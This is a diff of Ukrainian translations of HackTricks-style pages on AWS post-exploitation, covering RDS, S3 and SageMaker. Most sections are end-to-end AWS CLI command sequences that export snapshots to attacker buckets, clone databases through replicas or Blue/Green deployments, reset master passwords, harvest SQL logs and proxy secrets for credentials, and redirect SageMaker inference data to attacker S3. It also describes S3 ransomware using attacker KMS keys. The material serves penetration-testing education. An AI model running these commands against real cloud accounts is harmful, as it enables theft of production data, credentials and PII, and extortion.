 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**Потенційний вплив**: Доступ до конфіденційних даних у експортованому снапшоті.
+**Можливий вплив**: Доступ до чутливих даних у експортованому знімку.
 
-### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Міжрегіональна реплікація автоматичних резервних копій для прихованого відновлення (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-Зловживати реплікацією automated backups між регіонами, щоб непомітно дублювати автоматизовані резервні копії екземпляра RDS в інший AWS Region і відновити їх там. Зловмисник може потім зробити відновлену БД загальнодоступною та скинути master password, щоб отримати доступ до даних поза контролем у регіоні, який захисники можуть не моніторити.
+Зловживати міжрегіональною реплікацією автоматичних резервних копій, щоб тихо дублювати автоматичні резервні копії інстансу RDS в інший AWS Region і відновлювати їх там. Атакувальник може потім зробити відновлену БД загальнодоступною та скинути master password для доступу до даних поза каналами моніторингу в регіоні, який захисники можуть не контролювати.
 
-Необхідні дозволи (мінімум):
-- `rds:StartDBInstanceAutomatedBackupsReplication` у цільовому AWS Region
-- `rds:DescribeDBInstanceAutomatedBackups` у цільовому AWS Region
-- `rds:RestoreDBInstanceToPointInTime` у цільовому AWS Region
-- `rds:ModifyDBInstance` у цільовому AWS Region
-- `rds:StopDBInstanceAutomatedBackupsReplication` (необов’язкове прибирання)
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (щоб відкрити відновлену БД)
+Permissions needed (minimum):
+- `rds:StartDBInstanceAutomatedBackupsReplication` у регіоні призначення
+- `rds:DescribeDBInstanceAutomatedBackups` у регіоні призначення
+- `rds:RestoreDBInstanceToPointInTime` у регіоні призначення
+- `rds:ModifyDBInstance` у регіоні призначення
+- `rds:StopDBInstanceAutomatedBackupsReplication` (опціональне очищення)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (щоб відкрити доступ до відновленої БД)
 
-Вплив: Утримання доступу та ексфільтрація даних шляхом відновлення копії production-даних в інший Region і зробивши її загальнодоступною з обліковими даними під контролем зловмисника.
+Наслідки: утримання доступу та ексфільтрація даних шляхом відновлення копії виробничих даних в інший регіон і зроблення її публічно доступною з обліковими даними, контрольованими атакуючим.
 
 <details>
-<summary>End-to-end CLI (replace placeholders)</summary>
+<summary>End-to-end CLI (замініть заповнювачі)</summary>
 ```bash
 # 1) Recon (SOURCE region A)
 aws rds describe-db-instances \
@@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
 </details>
 
 
-### Увімкнути повне SQL-логування через DB parameter groups та ексфільтрувати через RDS log APIs
+### Увімкнути повне SQL логування через DB parameter groups та exfiltrate через RDS log APIs
 
-Зловживати `rds:ModifyDBParameterGroup` разом із RDS log download APIs, щоб захопити всі SQL-операції, що виконуються додатками (не потрібні облікові дані DB engine). Увімкніть логування SQL на рівні engine та витягніть файли логів за допомогою `rds:DescribeDBLogFiles` та `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору запитів, які можуть містити секрети/PII/JWTs.
+Зловживати `rds:ModifyDBParameterGroup` разом із RDS log download APIs, щоб захопити всі SQL statements, виконувані додатками (не потрібні облікові дані DB engine). Увімкніть engine SQL logging і витягніть файли логів через `rds:DescribeDBLogFiles` та `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору queries, які можуть містити secrets/PII/JWTs.
 
-Потрібні дозволи (мінімум):
+Permissions needed (minimum):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (тільки для приєднання кастомної групи параметрів, якщо інстанс використовує групу за замовчуванням)
-- `rds:RebootDBInstance` (для параметрів, що вимагають перезавантаження, напр., PostgreSQL)
+- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
+- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
 
-Кроки
-1) Розвідка цілі та поточної групи параметрів
+Steps
+1) Recon target and current parameter group
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) Переконайтесь, що приєднана власна група параметрів DB (стандартну редагувати неможливо)
-- Якщо інстанс вже використовує власну групу, повторно використайте її назву на наступному кроці.
-- Інакше створіть і приєднайте групу, що відповідає сімейству движка:
+2) Переконайтеся, що прикріплено кастомну DB parameter group (не можна редагувати default)
+- Якщо instance вже використовує кастомну групу, використайте її назву на наступному кроці.
+- Інакше створіть та прикріпіть групу, що відповідає engine family:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -196,8 +196,8 @@ aws rds modify-db-instance \
 --apply-immediately
 # Wait until status becomes "available"
 ```
-3) Увімкнути розгорнуте SQL логування
-- MySQL engines (immediate / no reboot):
+3) Увімкнути докладне SQL-логування
+- MySQL engines (негайно / без перезавантаження):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \
 #   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
 #   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
 ```
-- PostgreSQL engines (вимагається перезавантаження):
+- PostgreSQL рушії (вимагає перезавантаження):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) Дайте робочому навантаженню працювати (або згенеруйте запити). Запити будуть записані у файли журналів engine
+4) Дозвольте виконанню робочого навантаження (або згенеруйте запити). Запити будуть записані у файли журналів engine
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
-5) Знайдіть та завантажте логи (DB creds не потрібні)
+5) Знайдіть і завантажте логи (не потрібні DB creds)
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>
 
@@ -235,18 +235,18 @@ aws rds download-db-log-file-portion \
 --starting-token 0 \
 --output text > dump.log
 ```
-6) Аналізуйте офлайн на предмет конфіденційних даних
+6) Аналізуйте офлайн на наявність чутливих даних
 ```bash
 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
-Приклад доказів (редаговано):
+Приклад доказів (зачернено):
 ```text
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
 Очищення
-- Повернути параметри до значень за замовчуванням та перезавантажити, якщо потрібно:
+- Повернути параметри до значень за замовчуванням та перезавантажити систему, якщо потрібно:
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-Вплив: Post-exploitation доступ до даних шляхом перехоплення всіх SQL-запитів застосунку через AWS APIs (без DB-облікових даних), потенційно leaking secrets, JWTs і PII.
+Вплив: Post-exploitation доступ до даних шляхом захоплення всіх SQL-запитів додатка через AWS APIs (no DB creds), потенційно leaking secrets, JWTs та PII.
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-Зловживання RDS read replicas для отримання out-of-band доступу лише для читання без втручання в облікові дані primary instance. Зловмисник може створити read replica з production instance, скинути master password репліки (це не змінює primary) і за потреби виставити репліку публічно для exfiltrate даних.
+Зловживання RDS read replicas для отримання out-of-band доступу для читання без доступу до облікових даних primary instance. Атакувальник може створити read replica з production instance, скинути master password репліки (це не змінює primary), і за бажанням зробити репліку публічною для exfiltrate data.
 
-Необхідні дозволи (мінімум):
+Потрібні права (мінімум):
 - `rds:DescribeDBInstances`
 - `rds:CreateDBInstanceReadReplica`
 - `rds:ModifyDBInstance`
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (якщо виставляється публічно)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
 
-Вплив: Доступ лише для читання до production даних через репліку з обліковими даними, контрольованими атакуючим; менша ймовірність виявлення, оскільки primary залишається недоторканим та реплікація продовжується.
+Вплив: Доступ лише для читання до production даних через репліку з обліковими даними під контролем атакувальника; менша ймовірність виявлення, оскільки primary залишається недоторканою і реплікація продовжується.
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -305,12 +305,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 # aws rds promote-read-replica --db-instance-identifier <REPL_ID>
 ```
 Приклад доказів (MySQL):
-- Статус репліки DB: `available`, читальна реплікація: `replicating`
-- Успішне підключення з новим паролем і `@@read_only=1`, що підтверджує доступ до репліки лише для читання.
+- Статус репліки DB: `available`, реплікація для читання: `replicating`
+- Успішне підключення з новим паролем та `@@read_only=1`, що підтверджує доступ до репліки лише для читання.
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-Зловживайте RDS Blue/Green, щоб клонувати продукційну БД у безперервно репліковане, доступне лише для читання green-середовище. Потім скиньте green master credentials, щоб отримати доступ до даних, не торкаючись blue (prod) інстансу. Це більш приховано, ніж snapshot sharing, і часто обходить моніторинг, орієнтований лише на джерело.
+Зловмисне використання RDS Blue/Green дозволяє клонувати production DB у постійно репліковане середовище green з доступом лише для читання. Потім скиньте green master credentials, щоб отримати доступ до даних, не торкаючись blue (prod) інстансу. Це більш приховано, ніж snapshot sharing, і часто обходить моніторинг, спрямований лише на джерело.
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,22 +357,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-Вплив: Доступ лише для читання, але повний доступ до даних майже в реальному часі в клоні production без модифікації production-інстансу. Корисно для прихованого витягання даних та офлайн-аналізу.
+Вплив: доступ тільки для читання, але повний доступ до даних у майже реальному часі на клоні продуктивного середовища без модифікації production інстансу. Корисно для прихованого витягання даних і офлайн-аналізу.
 
 
-### SQL поза каналом через RDS Data API шляхом увімкнення HTTP endpoint + скидання головного пароля
+### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
 
-Зловживання Aurora дозволяє увімкнути RDS Data API HTTP endpoint на цільовому кластері, скинути головний пароль до значення, яке ви контролюєте, і виконувати SQL через HTTPS (не потрібен мережевий шлях VPC). Працює на движках Aurora, що підтримують Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
+Зловживання Aurora для увімкнення RDS Data API HTTP endpoint на цільовому кластері, скидання master password на значення під вашим контролем та виконання SQL через HTTPS (шлях мережі VPC не потрібен). Працює на Aurora engines, які підтримують Data API/EnableHttpEndpoint (наприклад, Aurora MySQL 8.0 provisioned; деякі версії Aurora PostgreSQL/MySQL).
 
 Permissions (minimum):
 - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
 - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
 
-Вплив: Обійти сегментацію мережі та ексфільтрувати дані через AWS APIs без прямого VPC підключення до DB.
+Вплив: Обхід мережевої сегментації та ексфільтрація даних через AWS APIs без прямого VPC-підключення до DB.
 
 <details>
-<summary>Повний приклад CLI (Aurora MySQL)</summary>
+<summary>End-to-end CLI (Aurora MySQL example)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -425,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 </details>
 
 Примітки:
-- Якщо multi-statement SQL відхиляється rds-data, робіть окремі виклики execute-statement.
+- Якщо multi-statement SQL відхиляється rds-data, виконуйте окремі виклики execute-statement.
 - Для двигунів, де modify-db-cluster --enable-http-endpoint не має ефекту, використовуйте rds enable-http-endpoint --resource-arn.
-- Переконайтеся, що двигун/версія дійсно підтримує Data API; інакше HttpEndpointEnabled залишиться False.
+- Переконайтеся, що engine/version фактично підтримує Data API; інакше HttpEndpointEnabled залишиться False.
 
 
-### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### Здобуття облікових даних DB через RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
 
-Зловживайте конфігурацією RDS Proxy, щоб виявити секрет Secrets Manager, який використовується для аутентифікації бекенду, а потім прочитайте цей секрет, щоб отримати облікові дані бази даних. У багатьох середовищах надають широкі `secretsmanager:GetSecretValue`, що робить це низьковитратним шляхом до DB creds. Якщо секрет використовує CMK, неправильно масштабовані дозволи KMS також можуть дозволити `kms:Decrypt`.
+Зловживання конфігурацією RDS Proxy для виявлення Secrets Manager secret, що використовується для бекенд-аутентифікації, а потім читання цього секрету для отримання облікових даних бази даних. У багатьох середовищах надають широкі `secretsmanager:GetSecretValue`, що робить це низькоперешкодним шляхом до DB creds. Якщо секрет використовує CMK, неправильно вказані дозволи KMS також можуть дозволити `kms:Decrypt`.
 
-Потрібні дозволи (мінімум):
+Необхідні дозволи (мінімум):
 - `rds:DescribeDBProxies`
 - `secretsmanager:GetSecretValue` на вказаному SecretArn
-- Необов'язково, коли секрет використовує CMK: `kms:Decrypt` на цьому ключі
+- Необов’язково, коли секрет використовує CMK: `kms:Decrypt` на цьому ключі
 
-Наслідок: Негайне розкриття DB username/password, налаштованих на проксі; дозволяє прямий доступ до DB або подальший латеральний рух.
+Вплив: Негайне розкриття DB username/password, налаштованих на proxy; дозволяє прямий доступ до DB або подальший латеральний рух.
 
 Кроки
 ```bash
@@ -454,7 +454,7 @@ aws secretsmanager get-secret-value \
 --query SecretString --output text
 # Example output: {"username":"admin","password":"S3cr3t!"}
 ```
-Лаб (мінімальні умови для відтворення)
+Лабораторія (мінімально необхідне для відтворення)
 ```bash
 REGION=us-east-1
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -473,16 +473,16 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
 aws rds wait db-proxy-available --db-proxy-name p0
 # Now run the enumeration + secret read from the Steps above
 ```
-Очищення (lab)
+Прибирання (лабораторія)
 ```bash
 aws rds delete-db-proxy --db-proxy-name p0
 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
 aws iam delete-role --role-name rds-proxy-secret-role
 aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
 ```
-### Stealthy continuous exfiltration через Aurora zero‑ETL до Amazon Redshift (rds:CreateIntegration)
+### Непомітне безперервне exfiltration через Aurora zero‑ETL в Amazon Redshift (rds:CreateIntegration)
 
-Зловживати Aurora PostgreSQL zero‑ETL integration для безперервної реплікації продуктивних даних у Redshift Serverless namespace, який ви контролюєте. За наявності пермісивної політики ресурсів Redshift, яка авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного Aurora cluster ARN, зловмисник може встановити майже в режимі реального часу копію даних без DB creds, snapshots або мережевого доступу.
+Зловживання інтеграцією Aurora PostgreSQL zero‑ETL для безперервної реплікації production даних у Redshift Serverless namespace, який ви контролюєте. За наявності ліберальної політики ресурсів Redshift, що авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного ARN кластера Aurora, attacker може встановити майже реального‑часу копію даних без DB creds, snapshots або мережевого доступу.
 
 Permissions needed (minimum):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
@@ -509,7 +509,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
 </details>
 
 <details>
-<summary>2) Налаштуйте політику ресурсів Redshift, щоб дозволити джерело Aurora</summary>
+<summary>2) Налаштуйте політику ресурсу Redshift, щоб дозволити джерело Aurora</summary>
 ```bash
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -540,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>
 
 <details>
-<summary>3) Створити Aurora PostgreSQL кластер (увімкнути Data API та logical replication)</summary>
+<summary>3) Створити кластер Aurora PostgreSQL (увімкнути Data API та logical replication)</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -583,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
 </details>
 
 <details>
-<summary>5) Матеріалізувати та запитувати репліковані дані в Redshift</summary>
+<summary>5) Матеріалізувати та запитувати репліковані дані у Redshift</summary>
 ```bash
 # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
 aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 ```
 </details>
 
-Докази, зафіксовані під час тесту:
+Докази, виявлені під час тестування:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
-- SVV_INTEGRATION показав integration_id 377a462b-c42c-4f08-937b-77fe75d98211 і стан PendingDbConnectState перед створенням БД.
-- Після CREATE DATABASE FROM INTEGRATION, при переліку таблиць виявлено схему ztl і таблицю customers; вибірка з ztl.customers повернула 2 рядки (Alice, Bob).
+- SVV_INTEGRATION показав integration_id 377a462b-c42c-4f08-937b-77fe75d98211 і стан PendingDbConnectState перед створенням DB.
+- Після CREATE DATABASE FROM INTEGRATION, перелік таблиць виявив схему ztl і таблицю customers; вибірка з ztl.customers повернула 2 рядки (Alice, Bob).
 
-Вплив: Безперервна, практично в реальному часі, ексфільтрація вибраних таблиць Aurora PostgreSQL у Redshift Serverless, контрольована атакуючим, без використання облікових даних бази даних, резервних копій або мережевого доступу до джерельного кластера.
+Вплив: Continuous near‑real‑time exfiltration вибраних таблиць Aurora PostgreSQL до Redshift Serverless, контрольованого атакуючим, без використання облікових даних бази даних, резервних копій або мережевого доступу до вихідного кластера.
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md

@@ -1,38 +0,0 @@
-# AWS - S3 Постексплуатація
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Для отримання додаткової інформації перевірте:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### Чутлива інформація
-
-Іноді ви зможете знайти чутливу інформацію в читабельному вигляді в бакетах. Наприклад, секрети стану terraform.
-
-### Півтування
-
-Різні платформи можуть використовувати S3 для зберігання чутливих активів.\
-Наприклад, **airflow** може зберігати **код DAGs** там, або **веб-сторінки** можуть безпосередньо подаватися з S3. Зловмисник з правами запису може **змінити код** з бакета, щоб **півтувати** на інші платформи або **взяти під контроль облікові записи**, змінюючи JS файли.
-
-### S3 Вимагач
-
-У цьому сценарії **зловмисник створює ключ KMS (Служба управління ключами) у своєму власному обліковому записі AWS** або в іншому скомпрометованому обліковому записі. Потім він робить цей **ключ доступним для будь-кого у світі**, дозволяючи будь-якому користувачу, ролі або обліковому запису AWS шифрувати об'єкти, використовуючи цей ключ. Однак об'єкти не можуть бути розшифровані.
-
-Зловмисник визначає цільовий **бакет S3 і отримує доступ на рівні запису** до нього, використовуючи різні методи. Це може бути через погану конфігурацію бакета, яка робить його публічно доступним, або зловмисник отримує доступ до середовища AWS. Зазвичай зловмисники націлюються на бакети, які містять чутливу інформацію, таку як особисто ідентифікована інформація (PII), захищена медична інформація (PHI), журнали, резервні копії тощо.
-
-Щоб визначити, чи можна націлити бакет для вимагання, зловмисник перевіряє його конфігурацію. Це включає перевірку, чи **увімкнено версіонування об'єктів S3** і чи **увімкнено видалення з багатофакторною аутентифікацією (MFA delete)**. Якщо версіонування об'єктів не увімкнено, зловмисник може продовжити. Якщо версіонування об'єктів увімкнено, але MFA delete вимкнено, зловмисник може **вимкнути версіонування об'єктів**. Якщо і версіонування об'єктів, і MFA delete увімкнені, зловмиснику стає важче вимагати викуп за цей конкретний бакет.
-
-Використовуючи API AWS, зловмисник **замінює кожен об'єкт у бакеті зашифрованою копією, використовуючи свій ключ KMS**. Це ефективно шифрує дані в бакеті, роблячи їх недоступними без ключа.
-
-Щоб додати додатковий тиск, зловмисник планує видалення ключа KMS, використаного в атаці. Це дає цілі 7 днів для відновлення своїх даних до того, як ключ буде видалено, і дані стануть безповоротно втраченими.
-
-Нарешті, зловмисник може завантажити фінальний файл, зазвичай названий "ransom-note.txt", який містить інструкції для цілі про те, як відновити свої файли. Цей файл завантажується без шифрування, ймовірно, щоб привернути увагу цілі та зробити їх обізнаними про атаку-вимагач.
-
-**Для отримання додаткової інформації** [**перевірте оригінальне дослідження**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md

@@ -0,0 +1,37 @@
+# AWS - S3 Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Для отримання додаткової інформації дивіться:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### Чутлива інформація
+
+Інколи ви зможете знайти чутливу інформацію, доступну для читання в buckets. Наприклад, terraform state secrets.
+
+### Pivoting
+
+Різні платформи можуть використовувати S3 для зберігання чутливих ресурсів. Наприклад, **airflow** може зберігати там **DAGs** **code**, або **web pages** можуть безпосередньо віддаватися з S3. Атакувальник з дозволами на запис міг би **modify the code** з bucket'а, щоб **pivot** на інші платформи, або **takeover accounts**, модифікуючи JS файли.
+
+### S3 Ransomware
+
+У цьому сценарії **атакувальник створює KMS (Key Management Service) key у своєму власному AWS акаунті** або в іншому скомпрометованому акаунті. Потім він робить цей ключ доступним для будь-кого в світі, дозволяючи будь-якому AWS користувачу, ролі або акаунту шифрувати об'єкти за допомогою цього ключа. Проте ці об'єкти не можна розшифрувати.
+
+Атакувальник визначає цільовий **S3 bucket і отримує доступ рівня запису** до нього, використовуючи різні методи. Це може бути через погану конфігурацію bucket'а, яка робить його публічним, або через отримання атакувальником доступу до AWS середовища. Зазвичай атакувальник націлюється на buckets, що містять чутливу інформацію, таку як personally identifiable information (PII), protected health information (PHI), логи, резервні копії тощо.
+
+Щоб визначити, чи можна націлити bucket для ransomware, атакувальник перевіряє його конфігурацію. Це включає перевірку, чи увімкнено **S3 Object Versioning** та чи увімкнено **multi-factor authentication delete (MFA delete)**. Якщо Object Versioning не увімкнено, атакувальник може продовжити. Якщо Object Versioning увімкнено, але MFA delete вимкнено, атакувальник може **disable Object Versioning**. Якщо і Object Versioning, і MFA delete увімкнені, то атакувати цей bucket ransomware стає складніше.
+
+За допомогою AWS API атакувальник **замінює кожен об'єкт у bucket'і зашифрованою копією, використовуючи свій KMS ключ**. Це фактично шифрує дані в bucket'і, роблячи їх недоступними без цього ключа.
+
+Щоб посилити тиск, атакувальник планує видалення KMS ключа, використаного в атаці. Це дає цілі 7-денне вікно для відновлення даних, перш ніж ключ буде видалено і дані стануть безповоротно втраченими.
+
+Нарешті, атакувальник може завантажити фінальний файл, зазвичай з іменем "ransom-note.txt", який містить інструкції для постраждалого про те, як повернути свої файли. Цей файл завантажується без шифрування, ймовірно щоб привернути увагу цілі та повідомити її про ransomware-атаку.
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md

@@ -0,0 +1,179 @@
+# AWS - SageMaker Post-Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Перехоплення даних SageMaker endpoint через UpdateEndpoint DataCaptureConfig
+
+Зловживати керуванням SageMaker endpoint, щоб увімкнути повний захват запитів/відповідей у attacker‑controlled S3 bucket без змін у моделі або контейнері. Використовує поетапне оновлення (zero/low‑downtime rolling update) і потребує лише дозволів на управління endpoint.
+
+### Вимоги
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: `s3:CreateBucket` (або використати існуючий bucket у тому ж акаунті)
+- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
+- Target: An existing InService real‑time endpoint in the same account/region
+
+### Кроки
+1) Виявити InService endpoint і зібрати поточні production variants
+```bash
+REGION=${REGION:-us-east-1}
+EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
+echo "Endpoint=$EP"
+CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+echo "EndpointConfig=$CFG"
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Підготуйте attacker S3 destination для captures
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-capture-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+```
+3) Створіть новий EndpointConfig, який зберігає ті ж variants, але вмикає DataCapture у attacker bucket
+
+Примітка: Використовуйте явні content types, які відповідають валідації CLI.
+```bash
+NEWCFG=${CFG}-dc
+cat > /tmp/dc.json << JSON
+{
+"EnableCapture": true,
+"InitialSamplingPercentage": 100,
+"DestinationS3Uri": "s3://$BUCKET/capture",
+"CaptureOptions": [
+{"CaptureMode": "Input"},
+{"CaptureMode": "Output"}
+],
+"CaptureContentTypeHeader": {
+"JsonContentTypes": ["application/json"],
+"CsvContentTypes": ["text/csv"]
+}
+}
+JSON
+aws sagemaker create-endpoint-config \
+--region $REGION \
+--endpoint-config-name "$NEWCFG" \
+--production-variants file:///tmp/pv.json \
+--data-capture-config file:///tmp/dc.json
+```
+4) Застосуйте нову конфігурацію за допомогою rolling update (мінімальний/відсутній час простою)
+```bash
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+5) Згенеруйте принаймні один виклик інференсу (необов'язково, якщо є живий трафік)
+```bash
+echo '{"inputs":[1,2,3]}' > /tmp/payload.json
+aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
+--content-type application/json --accept application/json \
+--body fileb:///tmp/payload.json /tmp/out.bin || true
+```
+6) Перевірте захоплення в S3 зловмисника
+```bash
+aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
+```
+### Impact
+- Повна exfiltration payload-ів запитів і відповідей inference в реальному часі (та метаданих) з цільового endpoint до атакуючим контрольованого S3 bucket.
+- Жодних змін до model/container image — лише зміни на рівні endpoint, що дозволяє прихований шлях викрадення даних з мінімальним впливом на операційну роботу.
+
+
+## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
+
+Зловживання управлінням endpoint для перенаправлення асинхронних виходів inference до атакуючим контрольованого S3 bucket шляхом клонування поточного EndpointConfig та встановлення AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Це exfiltrates передбачення моделі (та будь-які перетворені входи, що додає контейнер) без модифікації model/container.
+
+### Requirements
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: Можливість запису в атакуючим контрольований S3 bucket (через роль виконання моделі або лояльну політику bucket)
+- Target: An InService endpoint де використовуються (або будуть використовуватись) асинхронні виклики
+
+### Steps
+1) Зібрати поточні ProductionVariants з цільового endpoint
+```bash
+REGION=${REGION:-us-east-1}
+EP=<target-endpoint-name>
+CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Створіть attacker bucket (переконайтеся, що model execution role може виконувати PutObject до нього)
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION || true
+```
+3) Клонувати EndpointConfig та перехопити результати AsyncInference у бакет нападника
+```bash
+NEWCFG=${CUR_CFG}-async-exfil
+cat > /tmp/async_cfg.json << JSON
+{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
+JSON
